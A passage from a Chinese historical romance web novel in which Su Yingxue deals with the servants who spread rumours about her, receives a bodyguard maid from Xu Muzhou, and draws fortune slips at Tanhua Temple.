想到下午之事，看来他也很有必要主动去找那女人把话挑明，让她不要去招惹那些不三不四之人。
侯夫人见儿子出神，脸色也不大愉悦，心中猜测儿子恐怕是出师不利，还没讨得那苏三姑娘的欢心。但还是提醒道：“俗话说，好女怕缠郎。反正你这脸皮向来厚实，想来也不用娘来教你，该怎么去讨取女人的欢心吧？”
自己生的自己自然了解，她儿子只是生性骄傲，脸皮可一点儿都不薄。
闻言，许牧舟落荒而逃。
侯夫人见此情形，忍不住咯咯笑出声来，旋即转头对身边的嬷嬷说道：“还真像你讲的那般，等世子开窍了，自然便不会对女子避之犹如蛇蝎了。”
嬷嬷也趁机向侯夫人道喜：“等世子娶了亲，再添了小主子，侯府定会热闹非凡起来了。”
侯夫人不由得想起苏三姑娘的年纪，不禁在心里轻轻叹息一声。不过好在她儿子总算是开窍了，想来孙子孙女的到来自是不会太遥远。
这般想着，侯夫人也笑吟吟地点了点头。
映雪回了府就在查找有关虫灾方面的书籍，竹韵端着茶点走了过来，顺便禀告道：“姑娘，大姑娘的亲事已经定下来了，正是那位萧七公子。”
映雪微微挑眉，问道：“竟这般快？”
竹韵连连点头，说道：“那位萧夫人是个极为利落的性子，见老夫人对这桩亲事也极为满意，当场便留下了定亲信物。”
映雪想起那次马车里大姐姐的异样，心中还是有些不放心，眉头微蹙道：“那我去趟秀宁居居看看大姐姐。”
说罢，就带着绿绮前往秀宁居居。
到了秀宁居居，苏秀蓉见映雪过来，脸上瞬间绽放出欣喜的笑容，赶忙叫丫鬟摆上点心和茶水。
映雪见苏秀蓉神情无异，故意试探道：“大姐姐，祖母怎这么快就把你的亲事给定下来了？我还想着过段时日清平府上的冬日宴要带你去，顺便打听这京城里有才有貌有品性的待婚男子呢。”
苏秀蓉一脸羞赧之色，并无半分郁气，娇嗔道：“胡说什么呢，我又不是什么公主、郡主，京城的贵公子还能任由我挑不成。”说罢，又抬头盯着映雪，认真说道：“不过我的三妹妹这般优秀，只有这世上最好的男子才能配得上你。”
映雪捂嘴哼笑道：“大姐姐，你这样夸我，我以后嫁不出去可要怪你了，谁让你说只有世上最好的男子才能配得上我的，要不是最好的男子我可不嫁。”
苏秀蓉缓缓点头，三妹妹是她在京城里所见过的女子中最漂亮的，以前未曾长开，还一脸稚气，如今长开了，那姿容耀眼得令人简直挪不开眼。而且三妹妹不单貌若天仙，还才华出众，不光炼制出独一无二的玲珑香丸，还棋艺超群，又是侯府的原配嫡女
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，她着实想不出究竟谁能配得上她的三妹妹。想到这些，苏秀蓉又忍不住有些担忧。
映雪见苏秀蓉一脸认真，打趣道：“我还真不曾想到，原来在大姐姐心目中，我竟如此优秀呢。”接着又岔开话题，问道：“大姐姐对这桩亲事可有什么想法？”
苏秀蓉的脸微微一红，含笑道：“祖母替我相看的，自是极好的，我能有什么意见？”
映雪眼神微挑，略带怀疑地笑道：“哦？我还以为大姐姐认识那萧七公子呢。”
苏秀蓉闻言，脸颊瞬间染上一抹红晕，她支支吾吾地说道：“仅有过一面之缘罢了。前些日子我出府去买诗书，在书铺之中，我与那位公子恰好同时拿了同一本书，那位公子颇为有礼，便将书谦让于我了。”
映雪这才彻底放下心来，嘴角上扬，笑意盈盈地打趣道：“原来未来的大姐夫对大姐姐是一见钟情呀，算他有眼光，慧眼识珠。”
苏秀蓉有些不好意思，不想再让映雪笑话自己，便换了话题说道：“我准备这几日去趟昙华寺替父母求个平安福，也愿佛祖保佑他们，能够早日回京，你可有什么所求的？我替你一道求。”
映雪想到虫灾之事，想去求见澄大师解惑，虽说不知能不能见到，但总要尝试一番，于是说道：“我跟你一起去吧。”
苏秀蓉有些诧异，说道：“你前段时日不是才刚去过吗？”
一旁的绿绮则有些气不忿地道：“姑娘是该去昙华寺求佛祖保佑了，姑娘这段时日真是霉运不断，才被流言波及尚未解决，今日回府还差点遭遇歹徒。”
闻言，苏秀蓉惊得站起身来，急切问道：“怎么会有这么大的事，你回府也不曾提起？怎么会遇到歹徒？”
映雪轻轻摇摇头，说道：“今日只是个意外，正碰上有几个壮汉抓人，那人逃到了我的马车后面躲避。”
苏秀蓉又追问道：“那后面呢？你们究竟是怎么逃脱的？”
映雪声音低沉地道：“正遇到有侠义之人打抱不平，所以才得以成功解救。”心里也不由得暗自琢磨起来，今日之事应该不会是巧合吧？
苏秀蓉满脸凝重，说道：“是不是与向表妹有关？”
映雪不明所以，发出一声疑问：“嗯？”
苏秀蓉见映雪不明白，便提醒道：“你忘记了吗？之前你在昙华寺求的平安福签，说一山不容二虎，恐对你有害之事，向表妹也没来几天，你就碰到两件对你不利之事了，或许这签福之事，是真的。”
映雪这才反应过了，上次她只是随口一说。
“这事再看看吧，你先别说出去。过几日我与你一道去昙华寺，问问里面的大师，可有解救之法。”映雪一锤定音道。
苏秀蓉也只好作罢，点头回应。
22. 被罚
映月阁，浴室内。
袅袅熏香升腾而起，热气弥漫开来。偌大的花梨木浴桶之中，星星点点的花瓣洒落在水面。女子置身其中，肌肤似雪，娇嫩得吹弹可破，那三千如瀑的青丝皆被纱巾轻柔地包裹着。
映雪仔细端详着左胸口上的图案，只见那图案的颜色似乎又淡了些许。想到上次从玉佩中取出的治病秘方里，并未找到有关瘟疫方面的秘方，她的心中不禁涌起一阵叹息。如今，自己所能拥有的积攒功德的能力还是太过稀少，只盼着慈善堂能够尽快开办起来。
正闭目养神之际，竹韵拎着热水走了进来，轻声禀告道：“姑娘，刚老夫人那边传了话过来，说关于流言的事已经有了消息，让您明早去一趟荣晖堂。”
映雪缓缓睁开眼睛，问道：“这两天映月阁可有什么不对劲的地方？”
竹韵略微思索了一下，回应道：“除了白芷与采薇最近有些不对付，两人时常颇有争执，其它倒是并无异样。”
映雪又追问道：“江嬷嬷呢？”
竹韵轻轻摇头，映雪微微点头，表示已然知晓。
翌日，映雪一早去了荣晖堂。大夫人早已安坐于内，映雪向老夫人及大夫人请安。老夫人微笑着，轻轻点了点头。而大夫人则笑得有些勉强，似乎心不在焉，映雪心中暗自猜测，此次流言之事或许与苏沁雪脱不了干系。
随后，苏秀蓉、苏映蓉和苏沁雪也依次进了屋子。映雪不动声色地向后扫了一眼，并未见到向莞宜，想来是这侯府内宅之事，为防家丑外扬，不便被外人窥视，特地将她支开了。
老夫人见众人皆已到齐，目光威严地环视一周，便直接说道：“我今日召集你们过来，想来你们应该知道是为何事吧？”见众人皆低头不语，老夫人又接着道：“侯府一向重视家风，最忌那些歪门邪道。上次映雪被流言波及，幸得扼杀及时，要是传至府外，不光是映雪的名声受损，永安侯府的姑娘全都会被波及。”
听闻此言，苏映蓉等人的脸上才流露出些许后怕之色。
老夫人见几人终于意识到事情的严重性，又继续道：“念这次是初犯，你若是能主动站出来承认，可免去一半责罚。”
映雪缓缓转头看向苏映蓉，苏映蓉见状，顿时气恼不已，怒声道：“你这是什么意思？”
映雪又转向苏沁雪，苏沁雪神色慌张，脚步不自觉地向后倒了一步，并不说话。
老夫人见无人承认，眉头紧蹙，神色愈发严肃，向身后的秦嬷嬷微微示意。
秦嬷嬷点头会意，转身出了屋子。不一会儿，身后跟着三个丫鬟走了进来，正是白芷、采薇及苏沁雪的丫鬟春桃。
白芷一见到映雪，就如同抓住救命稻草一般，朝着映雪飞奔而来，“噗通”一声，重重地朝映雪下跪，泪眼朦胧地道：“姑娘，流言之事真的与奴婢无关，奴婢只是无意间向采薇提到过，说姑娘从昙华寺回来后，脖子上多了条丝绳，想来是姑娘在昙华寺求了平安福。奴婢根本不知道玉佩之事从何而来，定是采薇胡诌的，她早前就跟奴婢抱怨过，说姑娘近日来重用竹韵和绿绮，故意疏远我们，早就存有祸心了。”
采薇也跟着白芷一同跪了下来，浑身哆嗦着说道：“奴婢真的不是故意的，是四姑娘身边的春桃向奴婢打听姑娘的事，奴婢无意中说出去的，谁知道她们怎么编排了那些流言。”
话音刚落，便传来大夫人的怒斥声：“贱婢，擅自外传三姑娘的私事，现又敢攀咬四姑娘，谁给你的胆子？”
采薇忙不迭地继续向映雪求情道：“姑娘，奴婢真的没撒谎。”
春桃径直朝老夫人“噗通”跪下，战战兢兢地道：“老夫人，奴婢没有胡说。奴婢也是听有婆子说起，有一天傍晚，似乎看到有道身影直接往映月阁飞了去，身形极快，还怕是看错了，以为是有强盗。是以奴婢有些好奇，有次碰到采薇神情不忿，才多问了几句。”
老夫人怒拍起身边的桌子，厉声道：“荒唐，几句捕风捉影的事，竟造谣侯府的嫡姑娘与外男私通，你还有没有把侯府放在眼里？”接着又问道：“你一个奴婢，想你也没这个胆量生事，是谁指示你干的，是不是四姑娘？”
春桃被吓得连连摇头，哆嗦着回道：“与四姑娘无关，奴婢私下听二姑娘跟四姑娘说，三姑娘越来越风光了，有三姑娘在，哪里还有人瞧得见四姑娘的优秀，奴婢想讨得四姑娘欢心，才擅作主张生了事。”
听言，苏映蓉急道：“你这个贱婢，我什么时候说过这话了。”
春桃没回应苏映蓉，只是一个劲地磕头求饶。
老夫人看向映雪，问道：“你怎么看？”
映雪挑眉，心里暗自思忖，这三人说的应该都是真的，苏沁雪也许没直接授意，但肯定知晓此事，却没有阻止丫鬟行动。
抬头看向老夫人，缓缓回道：“祖母，我相信她们说的都是真的，况且也没真伤到我，不如就大事化小吧。”就算她不相信，她也没有直接的证据能证明苏映蓉或苏沁雪有对她使坏，还不如大度一点，让老夫人安心。
老夫人听映雪回答，含笑着点了点头，并夸赞道：“你这丫头，最是善良大度。虽然你不追究，但祖母不会纵容这种不良风气。”
转向苏沁雪，朝她说道：“虽然此事与沁雪无关，但因沁雪对其丫鬟监管不利，导致丫鬟私下造谣生事，罚你跪祠堂一日，抄写经书一百篇。”
苏沁雪白着脸，点头表示回应。
接着老夫人又看向地上跪着的三个丫鬟，冷声道：“侯府容不得爱挑拨生事的下人，念你们服从姑娘多年，免去仗责。春桃与采薇直接发卖，至于白芷
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。”说罢，老夫人又看向映雪，让映雪决定。映雪想到白芷眼下并没有大错，不好直接打发，便替她求情道：“祖母，白芷并无大错，再给她一次机会吧，罚她三个月的月钱。”
老夫人点头同意，白芷这才如蒙大赦，连连对映雪磕头感谢。
采薇及春桃则痛哭求饶。
这时，大夫人插话进来，道：“老夫人，二姑娘身为姐姐，却无悌爱之心，反而有挑拨之意，是不是也应该被罚？”
苏映蓉身子晃了晃，她就知道，只要苏沁雪被罚，她就免不了跟着被罚。
接着便听到老夫人道：“那就罚映蓉跪一日祠堂，抄经书五十篇。”
映雪心情甚好的回了映月阁，虽没钓到大鱼，可好歹也除去了身边一个怀有异心的丫鬟。前世，采薇在竹韵嫁人之后，便被升作了大丫鬟，而后随她一起进了永宁侯府。采薇却是个十足的势利之人，见向莞宜受宠，便与向莞宜走得极为亲近。这也正是为何她此番回来之后，只重用竹韵与绿绮的缘故。
她才刚刚坐下没多久，便有一个丫鬟匆匆过来禀报：“姑娘，侯爷传话过来，让您去一趟书房。”
映雪闻言，心中不禁一喜，正想着要找父亲打听虫灾之事呢，这可真是打瞌睡了就有人送枕头来。
到了书房，屋外的书童见映雪到来，忙俯身行礼道：“三姑娘，侯爷让您直接进去。”
映雪微微点头，直接进了屋。只见父亲正坐在桌前专注地写着什么，她朝父亲喊道：“爹爹，你喊映雪过来是有何事？”
闻声，永安侯抬头，爽朗地一笑，道：“你那香铺何时开张？今日为父上朝，有几个同僚都在向为父打听香丸之事。”说罢，他又略带质疑地说道：“那香丸果真有治病奇效？我怎听得神乎其神的。”
映雪神秘地一笑，道：“当然，或许这香丸比他们想象中的效果还要更甚呢。”毕竟她这些秘方都来自玉佩，远超于当世医术。等她把那本秘方研究透彻了，或许还可以再开个药铺，专门医治那些疑难杂症。
永安侯没料到映雪如此有把握，惊讶地问道：“你何时还会医术了？”
映雪轻轻摇摇头，道：“如今还不会医术，兴许过不了多久就会了。我偶然得到一本药理秘方，香丸的功效正是源自这本秘方。”
永安侯点头，也没多追问秘方是如何得来的，只是慎重地交待映雪道：“既然是秘方，想来十分重要，你定要妥善保管。”
映雪浅笑道：“映雪明白的，香铺三日后就能开张了，到时若是爹爹的同僚捧场，报上爹爹的名号，映雪一律给打八折。”说罢，还朝永安侯调皮地眨了眨眼。
这一举动逗得永安侯哈哈大笑。
随后，映雪又向永安侯打听道：“爹爹，朝中是不是有提到中原虫灾之事？”
23. 暗一
闻言，永安侯的神情瞬间严肃起来，轻责道：“胡闹，朝中之事，岂是你该打听的？”
映雪才不怕被永安侯训斥，又继续追问道：“可是有了救灾之法？我朝人才济济，定不会束手无策吧。”
永安侯的脸上不由得有些神情低落，目光黯淡，并没有回应映雪的话。他沉默片刻，随即对映雪说道：“好了，爹爹没其它事了，你回去吧。这段时日，尽量少出府去，就算出府也要带足下人。”
映雪望着父亲的神色，这下心里明白，定是虫灾之事还没有救治的办法。
也不由得深深叹了声气。
回了映月阁，绿绮慌里慌张地跑了过来，递给映雪一封信件，道：“姑娘，门外有人给您送了封信过来。”
映雪不由得满心纳闷，打开信件，竟是许牧舟差人送来的，让她去趟茶馆。
随即，她眼神一亮，心想虫灾之事，她或许可以找许牧舟打听，关于玉佩需积攒功德之事，说来他景阳侯府也有份呢。
稍作安排之后。
映雪便带着竹韵登上了侯府马车，一路直奔茶馆而去。
映雪下了马车，径直进了茶馆，见许牧舟已然在那里了，直接问道：“你找我？”
许牧舟没有说话，朝着映雪身后瞧了瞧，皱起眉头道：“你出府身边只带一个丫头？”
映雪其实也不想如此，只是关于那玉佩之事太过神奇。竹韵从一开始便在现场，且她向来就是个嘴严之人，因而确实没必要避开她。映雪暗暗在心里想着，绿绮也可以信赖，以后也不必再避着她了。
映雪微微挑眉，故意答道：“我们永安侯府可比不得你们景阳侯府受宠，哪有那丰厚的家底，养不起那么多人。”那澄澈的眼眸中闪过几分俏皮。
许牧舟闻言，不禁笑出声来，带着几分调戏的口吻说道：“那正好，本世子这次就大发慈悲，给你们永安侯府送个下人。”说罢，他嘴角上扬，那俊朗的脸上满是戏谑的神情。
映雪撇撇嘴，双颊微微鼓起，嗔道：“说吧，你找我来到底所为何事？”
许牧舟神色一正，认真道：“我没跟你开玩笑，本次找你过来，就是要送你一名侍女。”似乎怕映雪拒绝，又紧接着说道：“我遇上你几次，你似乎都有麻烦缠身。我的玉佩还在你身上呢，可不能让玉佩有丝毫损伤。”
听言，映雪顿时气不打一处来，秀眉紧蹙，恼怒道：“你这是何意？有本事你让玉佩回你自己身上去啊？谁稀罕让它跟着了。”她一双美目圆睁，怒视着许牧舟，胸口因气愤而微微起伏。
许牧舟见映雪生气，赶忙慌了神，豁出去了说道：“我是怕你受伤，想派侍女保护你。”
闻言，映雪瞬间脸色通红，犹如熟透的苹果，从脸颊一直红到了耳根，她慌乱地垂下眼帘，咬着嘴唇，不知该如何回答。
许牧舟见状，也厚着脸皮接着道：“我想你明白我的意思吧？你既然已经是玉佩的主人了，就是我们景阳侯府之人，以后不许再跟那些不三不四的人走近。”
映雪气得狠了，俏脸涨得通红，一双美目似要喷出火来。她直接拿起手中的茶杯，用力向许牧舟砸去，怒喝道：“我怎么就成你们景阳侯府的人了？我想嫁谁就嫁谁，你还能阻止我不成？”
听到映雪竟想着要嫁给别人，许牧舟的脸色瞬间阴沉得如锅底。咬着牙，一字一句道：“除了我，你还想嫁给谁？”那语气中满是霸道与不容置疑。
映雪顿时哑言，她呆呆地站在原地，懊恼自己到底说了什么胡说八道的话。此刻的她恨不得立马找个地洞钻进去，好躲开这令人尴尬的局面。
一旁的竹韵也被两人这突如其来的嫁娶之话给惊到了，嘴巴微张，瞪大了眼睛，怎么说着说着就成这样了。
两人冷静下来之后，这才恍然惊觉自己方才都说了些什么，一时间，场面极度尴尬。空气仿佛凝固了一般。许牧舟轻咳一声，假装若无其事，硬着头皮道：“侍女的事，我已经安排好了，你不准再拒绝。”
映雪此时也回过神来，有个会武艺的丫鬟在身边，确实也能让自己更安心一些。于是，也装作若无其事的样子，轻轻点头道：“我同意，只是我要怎么带进府里，才能不遭人话柄？”
许牧舟见映雪答应，心情顿时转好，脸上绽放出笑容，朗声道：“你只需答应即可，其它的我自有办法。”
映雪想到虫灾之事，目光变得专注起来，随即问起许牧舟道：“你知道中原虫灾之事吧？”
许牧舟微微诧异映雪竟问起这个，满是疑惑地问道：“你为何问起这个？”
映雪眼神微闪，娇嗔地跺了跺脚，道：“你这个人怎么婆婆妈妈的，问你个事，竟这么多话？”
许牧舟不禁笑出声来，那笑声爽朗而清亮，道：“想来苏姑娘以后不会假装与我不熟吧。”接着他神色一正，转而说道：“太子过几日要去中原救灾，我到时候会陪同在侧，你到时候有事找我，可直接让暗一去景阳侯府找人帮忙。”
闻言，映雪惊讶地睁大了眼睛，问道：“暗一是谁？不是说太子身子不好吗？他还能去重灾之地？是已经有救灾良策吗？”
许牧舟浅笑着，那笑容如春风般和煦，道：“暗一就是我给你的那位侍女，太子现下还死不了，至于良策，暂时没有。”随即目光看着映雪，问道：“你之前从玉佩中是拿得治病秘方吧？针对太子的病情，可有治疗之策？”
映雪略思片刻，秀眉微蹙，答道：“我并不知道太子是什么病，若是有太子的诊脉记录，或许我可以研究试试，可太子的诊脉记录是秘密吧？”
许牧舟沉默片刻，神色有些凝重，道：“那就以后再说。”随后他目光中带着探究，问道：“你为何对虫灾之事这么关心？”
映雪声音低沉，目光中透着忧虑，缓缓道：“我前几日上街，见京城的乞丐变多，才知与虫灾有关。我与嘉
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柔、清平商量，想办个慈善堂，尽点绵薄之力。”
许牧舟轻笑出声，那笑容中带着几分欣赏，道：“可有需要我帮忙的？”
映雪轻轻摇头，道：“暂时不用。”
许牧舟也不再追问，只是嘴角微微上扬，反正以后暗一在她身边，时刻能知晓她的情况，自己也能放心了。
映雪离开之际，许牧舟提醒道：“你一会儿注意街上异动。”映雪微微颔首示意知晓。
京城的主街热闹非凡，吆喝声、谈笑声交织成一片。然而，一阵尖锐的哭喊声瞬间将这份和谐生生割裂。
映雪循声望去，只见几个凶神恶煞的家丁围成一圈，正死死围着一名衣着朴素却难掩天生丽质的女子。为首的是一个油头粉面的富家公子，他手持折扇，嘴角挂着一抹轻浮至极的笑，放肆地叫嚷着：“小丫头，本公子能瞧上你，那是你祖上积德、八辈子修来的福分，乖乖跟我走，往后保你吃香喝辣，享尽荣华！”
女子紧紧抱住双臂，满脸的惊恐之色，声音颤抖却又坚定无比：“我就是死，也绝不会让你这无耻之徒如愿！”言罢，她奋力挣扎起来，试图冲破家丁们的重重包围。
富家公子见状，讥笑道：“就凭你一个弱不禁风的女子，还妄想着能逃出去不成？”
女子满心绝望，眼看脱身无望，竟打算往家丁手中的尖刀上猛冲过去，她就算是死，也要狠狠咬下对方一块肉来。
就在这千钧一发之际，一辆马车戛然而止。轿帘轻掀，映雪那明艳动人的面容如仙子般出现在众人眼前。她柳眉紧蹙，美目中怒火熊熊燃烧，娇声怒喝道：“光天化日之下，竟敢如此无法无天，强抢民女，你们眼中究竟还有没有王法！”
那富家公子先是一愣，随即放肆地上下打量起映雪，阴阳怪气地说道：“哟呵，这又来一位美人，莫不是想让本公子连你一块儿抢了去？”
映雪冷哼一声，冷笑道：“哼，好大的狗胆！当街强抢侯府嫡女，就算皇上是你爹，我也定要向圣上讨个说法，治你的罪！”
富家公子脸上的笑容瞬间僵住，似乎有些不敢相信，狐疑道：“谁家侯府嫡女就带一个丫鬟出门的？”
其中一位家丁赶紧跑到富家公子耳边，压低声音嘀咕了几句：“公子，马车上有永安侯府的标志，咱家这回可真是碰到硬茬子了。”
那富家公子这才心生惧意，色厉内荏地丢下一句：“你们给我等着！”便灰溜溜地带着家丁落荒而逃。
映雪款步走到女子身前，柔声说道：“这位姑娘，莫要害怕，他们已经逃走了。”
闻言，女子却朝着映雪直直跪下，并祈求道，“多谢小姐救命之恩，可小女子如今已无家可归，恳请小姐收留，小女子愿作牛做马来报答。”
映雪一时没有作答，竹韵在旁边劝道：“姑娘，您就答应她吧。”
映雪轻轻叹息一声，无奈道：“罢了，那你便跟我回府吧。”
24. 签文
映雪把女子带回了映月阁，示意竹韵带她下去换身衣裳。
不多时，女子便前来求见映雪。她一进屋，便毫不犹豫地朝着映雪直直下跪。“求主子赐名。”女子的声音坚定而恭敬。
映雪微微挑眉，问道：“你可是暗一？可会哪些本事？”
女子点头应道：“奴婢正是暗一，除了擅长武艺，还略懂一些毒术。”
映雪回想起暗一刚才在街头临危不乱、满身凛然气节的模样，心中有了主意，缓声道：“你以后就叫竹清吧。跟着我，怕是不能像在你原主子那般建功立业了，你可觉得委屈？”
女子坚定地摇头，“竹清多谢姑娘赐名，姑娘今后是竹清的唯一主子。”
映雪自然不知道，暗一是许牧舟身边最为厉害的暗卫，那可是景阳侯府耗费了十几年的心血才精心培养出来的。
此刻的映雪，只是满心羡慕景阳侯府的财大气粗。她深知世家大族都会培养自己的暗卫，没有暗卫的世家根本称不上真正的世家。可惜永安侯府建府不过三十多年，着实没有培养暗卫的深厚底蕴。唯有映雪的祖父当年随先皇征战天下，手下那群退下来的残兵，如今永安侯府一直在悉心照料将养着。
想到此处，映雪的眼神倏地一亮，或许可以找父亲提及一番，那些残兵的后代之中，若是有资质出众的好苗子，侯府大可以一起培养。毕竟他们生来就对侯府怀有深深的归属感，定能忠心耿耿。
江嬷嬷听闻映雪从府外带回了一位女子，急匆匆地过来求见映雪。她迈进屋内，微微躬身行礼后说道：“姑娘，听丫鬟提起您从街上救了一名女子，并带回了侯府？”映雪轻轻点了点头，“确有此事，怎么了？”
江嬷嬷眉头紧皱，忧心忡忡地道：“如今京城多了许多流民，奴婢是怕姑娘您一时心善，不小心带回了心怀叵测之人，恐对姑娘不利。”
映雪的脸色瞬间冷了下来，目光如炬地提醒道：“嬷嬷，你别忘了，你当初也是我娘从难民中把你带回府里的。若是当初没我娘把你带回，或许你都不一定还能活着。现如今，你怎么会对跟你身处同样境地的女子无一丝怜悯之心？”
闻言，江嬷嬷的脸色刹那间变得苍白如纸，身子忍不住哆嗦起来，嘴唇颤抖着道：“姑娘，奴婢绝无私心，是奴婢想差岔了，以小人之心度君子之腹了。”
映雪也没再继续责难，只是直接吩咐道：“如今采薇因犯错被发卖，映月阁还少一个二等丫鬟，就让竹清顶上吧，其它的你去安排。”
江嬷嬷忙不迭地点头应下，退了出去。
荣晖堂内，苏秀蓉正与映雪围坐在雕花檀木桌旁，准备商量着明日去昙华寺之事。见苏沁雪、苏映蓉和向莞宜几人也在一旁。
顺口问道：“我明日同三妹妹去昙华寺，你们要一道去吗？”
苏沁雪疑惑地问道，“三姐姐不是才去了昙华寺没多久吗？怎么又要去？”
映雪含笑道，“上次去是有事，这次去是游玩，怎么能一样。”
苏沁雪一时语塞，还没决定要不要去，苏映蓉便迫不及待地抢着回道：“都一起去吧！我们也好久没去过昙华寺了，还可以在昙华寺吃了斋饭再回来。”向莞宜也笑着附和道：“这个季节的昙华寺正是最美的时候，我们到时还可以去赏枫呢。”
苏映蓉见苏沁雪仍未吭声，忙哄道：“四妹妹，你之前不是一直想去昙华寺的枫林中跳舞吗？明日你跳舞，我抚琴，让向表妹作画，定能成就一番别样的风趣。”
苏沁雪听闻，这才展露笑意，兴奋地说道：“那我们早点回去吧，好好准备明天的装扮。”
映雪与苏秀蓉对视一眼，皆是一脸无奈的神情，但也只能无奈作罢。
翌日，清晨的阳光柔和地洒在侯府朱红色的大门前，府中早已准备了五辆马车，为首的一辆最为精致。映雪，与苏秀蓉、苏沁雪一同登上了为首那辆。
映雪这次带了绿绮和竹清同行。绿绮见竹清面容清冷、寡言少语，心中以为竹清是身世悲惨，才有幸被姑娘救回侯府。一脸和善，轻声安慰竹清道：“咱们姑娘可是这世上最好的主子，你跟着姑娘，只要对姑娘忠心耿耿，姑娘必定不会亏待你的。你的好日子都在后面呢，以前那些个糟心事过去就让它过去吧。”
闻言，竹清轻轻扯了一下嘴角，露出一个略显僵硬且不太自然的微笑。
绿绮瞧见，心中越发觉得竹清可怜，又接着说道：“咱们映月阁的人都好相处得很。虽说白芷以前喜欢捧高踩低，但最近做错了事受了罚，已经收敛许多了，以后也断然不会再有人欺负你了。”
竹清一时不知该如何搭话，只能微微颔首，表示自己明白了。
绿绮一路上兴致勃勃地向竹清介绍着侯府的人员以及映雪的爱好，竹清则神情专注地聆听着。偶尔，也会轻轻点头附和几句，声音轻柔而简短，倒也其乐融融。
马车缓缓在正殿的台阶下面停稳，映雪几人下了车，映雪抬头凝视着台阶之上，目光复杂，这次的心境与上次相较，天差地别。
苏秀蓉走进正殿求了平安福，又替侯府捐了香油钱。
映雪站在一旁，目光却落在正在诵经的主持身上。趁苏沁雪等人不注意，匆匆地赶紧走上前，带着几分恭敬地语气问道：“这位大师，请问了澄大师在吗？可否替信女问候一声？”
主持闻声停下诵经，缓缓睁开双眼，看向映雪。那目光仿佛能洞察一切，道：“可是永安侯府三姑娘？”
映雪忙不迭地点头，眼中满是期盼。主持微微一笑，随即从宽大的袖子中掏出一张字条，递向映雪，说道：“这是了澄大师留给你的。”<
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p>映雪展开那张字条，目光快速扫过，“灾厄临前莫惊惶，本非汝过小人猖。解难之途在己手，心定志坚福自长。”
随即轻轻松了口气。然而，待看到后面两句时，那刚刚舒展的眉头又紧紧地皱了起来。意思是这灾情与她无关，可竟然也需要她出力相助。
不禁暗自思忖：“了澄大师倒真是看得起我。”正想得入神，苏映蓉见映雪站在原地出神，半天不动弹，便急切地催促道：“三妹妹，你怎么杵在那儿不动呢？我们可要去姻缘殿啦。”
声音将映雪的思绪猛地拉回，脸上闪过一丝赧然，赶忙快步跟了上去。
行至姻缘殿，姻缘殿的香火旺盛，一茬又一茬的信女跪地祈求。
苏映蓉的丫鬟秋兰上前，朝铜钱罐里丢了三个铜板，把签筒拿过来给跪求的苏映蓉，苏映蓉先是虔诚祈祷了一番，后摇摇晃晃出来一签。
第四八签。
秋兰拿去给换了签文回来，苏沁雪先苏映蓉一步抢了过来，并读了出来。
镜里观花空自美，空劳心力梦难成。
休将妄语传街市，守分安常祸不侵。
苏映蓉的神情愈发难看，苏沁雪把签文递给她，道，“是支下下签呢。”
苏映蓉一把接过签文，竟直接将签文狠狠扔在地上，还用力踩了上去，满脸怒容地说道：“一点都不灵，上次来我求的还是上上签呢！”
这话倒是不假，上次她们来的时候，的确就只有苏映蓉一人求得了上上签。当时映雪和苏秀蓉求的都是下签，苏沁雪则是中签。
随后，苏沁雪几人也都纷纷求了签。这一回，向莞宜也是下下签，只有苏秀蓉一人求得上签，而苏沁雪这次依旧是中签。
映雪并不想求签，可绿绮手快，直接丢了铜板，迅速把签筒放在了她的手上。此时映雪若是再拒绝，那可就是对菩萨不敬了，无奈之下，她只得轻轻摇了一摇。
第八八签。
“命定之人眼前现，天赐良缘心相连。
随心而行皆如意，风光旖旎乐无边。”
映雪看到这签文，瞬间羞红了脸，赶忙把签文收进了香囊。
向莞宜见此情形，满心好奇地问道：“三表姐求的什么签呀？怎么这么快就收起来了。”映雪神色略显慌乱，含糊其辞道：“也是不太好的签。”
苏映蓉见并非只有自己一人求的是下下签，心情这才稍稍有所好转，嘟囔着道：“昙华寺的签也是时灵时不灵，签文好坏全凭运气罢了。”
听了这话，向莞宜也释然了不少。原本只见她与苏映蓉求得下下签，心里还颇为忌讳，如今见映雪也是求的下签，这才放下心来。
在昙华寺享用过斋饭后，映雪几人朝着枫林方向走去。行至半途，忽然传来一道“哎哟……哎哟……”的沧桑呼喊声。
25. 老婆婆
映雪等人闻得声响，匆匆跑了过去，只见一位白发苍苍的老婆婆摔倒在地。映雪当即就要过去帮忙救治，苏沁雪却面露不耐，说道：“三姐姐，你还要不要去枫林了。”映雪毫不犹豫地道：“你们先过去吧，我一会儿去找你们。”苏秀蓉不赞同地摇头道：“我们先去看看老婆婆怎么样了，然后再一起去枫林，也耽搁不了什么。”
几人快步朝老婆婆走去，映雪示意竹清把老婆婆扶起。竹清动作利落，一下子就把老婆婆扭伤的脚给矫正了，疼得老婆婆忍不住尖叫起来。苏映蓉打趣道：“你这丫头哪找来的，怎么力气这么大，让外人听见，还以为我们是谋财害命呢。”
映雪并未回应，只是低头轻声询问老婆婆：“老婆婆，你的腿刚才扭到了，我丫头顺便帮您正骨了，您试一下现在还疼不疼？”
老婆婆试着活动了一下腿，脸上瞬间露出惊喜之色，高兴道：“真不疼了，谢谢你，小姑娘。”
映雪又问道：“老婆婆，你怎么就一人来这昙华寺，身边也没个人跟着？”
听言，老婆婆的眼眶瞬间泛红，伤心的泪水夺眶而出，边用袖子擦拭边道：“老身儿子前几日打猎，被山里的毒虫咬了，身上都腐烂了，拉到医馆救治，大夫说救不好，让我安排后事。我儿子都还没娶亲呢，我们母子相依为命，现如今让我白发人送黑发人，我怎么受得了，所以我想来昙华寺求一求菩萨，可惜老身不中用啊。”说着便嚎啕大哭起来，那哭声悲切，真是见者伤心，闻者落泪。
映雪听着，眼眶也不禁红了起来，苏秀蓉更是泪如雨下。接着老婆婆又道：“要是我儿子去了，我也了无牵挂了，跟他一起去了。”
映雪急切道：“不行，你儿子也不是完全无救。”
“我之前在一本秘方上看到过一个方子，对毒虫叮咬的中毒之人最有效果。”
老婆婆似有些不信，眼前这小姑娘才十几岁的年纪，看着也是贵家小姐，莫不是见她可怜，心软哄着她的。
映雪却一脸认真，转头对苏秀蓉道：“大姐姐，我要跟这位老婆婆回去一趟，你带着四妹妹她们去枫林玩吧，到时候我忙完了直接回府。
苏秀蓉不赞同，皱着眉头说道：“你身边就两个丫鬟，我怎么能放心让你去，且你又不是大夫，虽懂一些医理，但这虫毒乃是大夫都救不好的，你去有什么用？”
映雪却坚持道：“大姐姐，你就相信我吧，反正我一定要去。”
映雪这般执拗，苏秀蓉也拿她没办法，只好随她一起去了，回头看向苏沁雪等人，“你们怎么考虑？”苏沁雪一脸不高兴，嘟囔道：“还能怎么办，你们都要跟着去，我们要只顾着自己玩，回府岂不是要给祖母批评。
